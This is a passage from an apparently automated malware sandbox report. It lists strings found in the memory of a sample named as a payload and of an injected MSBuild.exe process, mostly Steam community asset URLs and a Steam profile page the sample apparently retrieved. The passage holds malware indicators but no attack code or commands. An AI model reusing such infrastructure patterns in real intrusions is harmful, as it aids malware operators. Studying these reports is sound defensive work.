00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=Q4LAS9-JZwft&l=e
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: 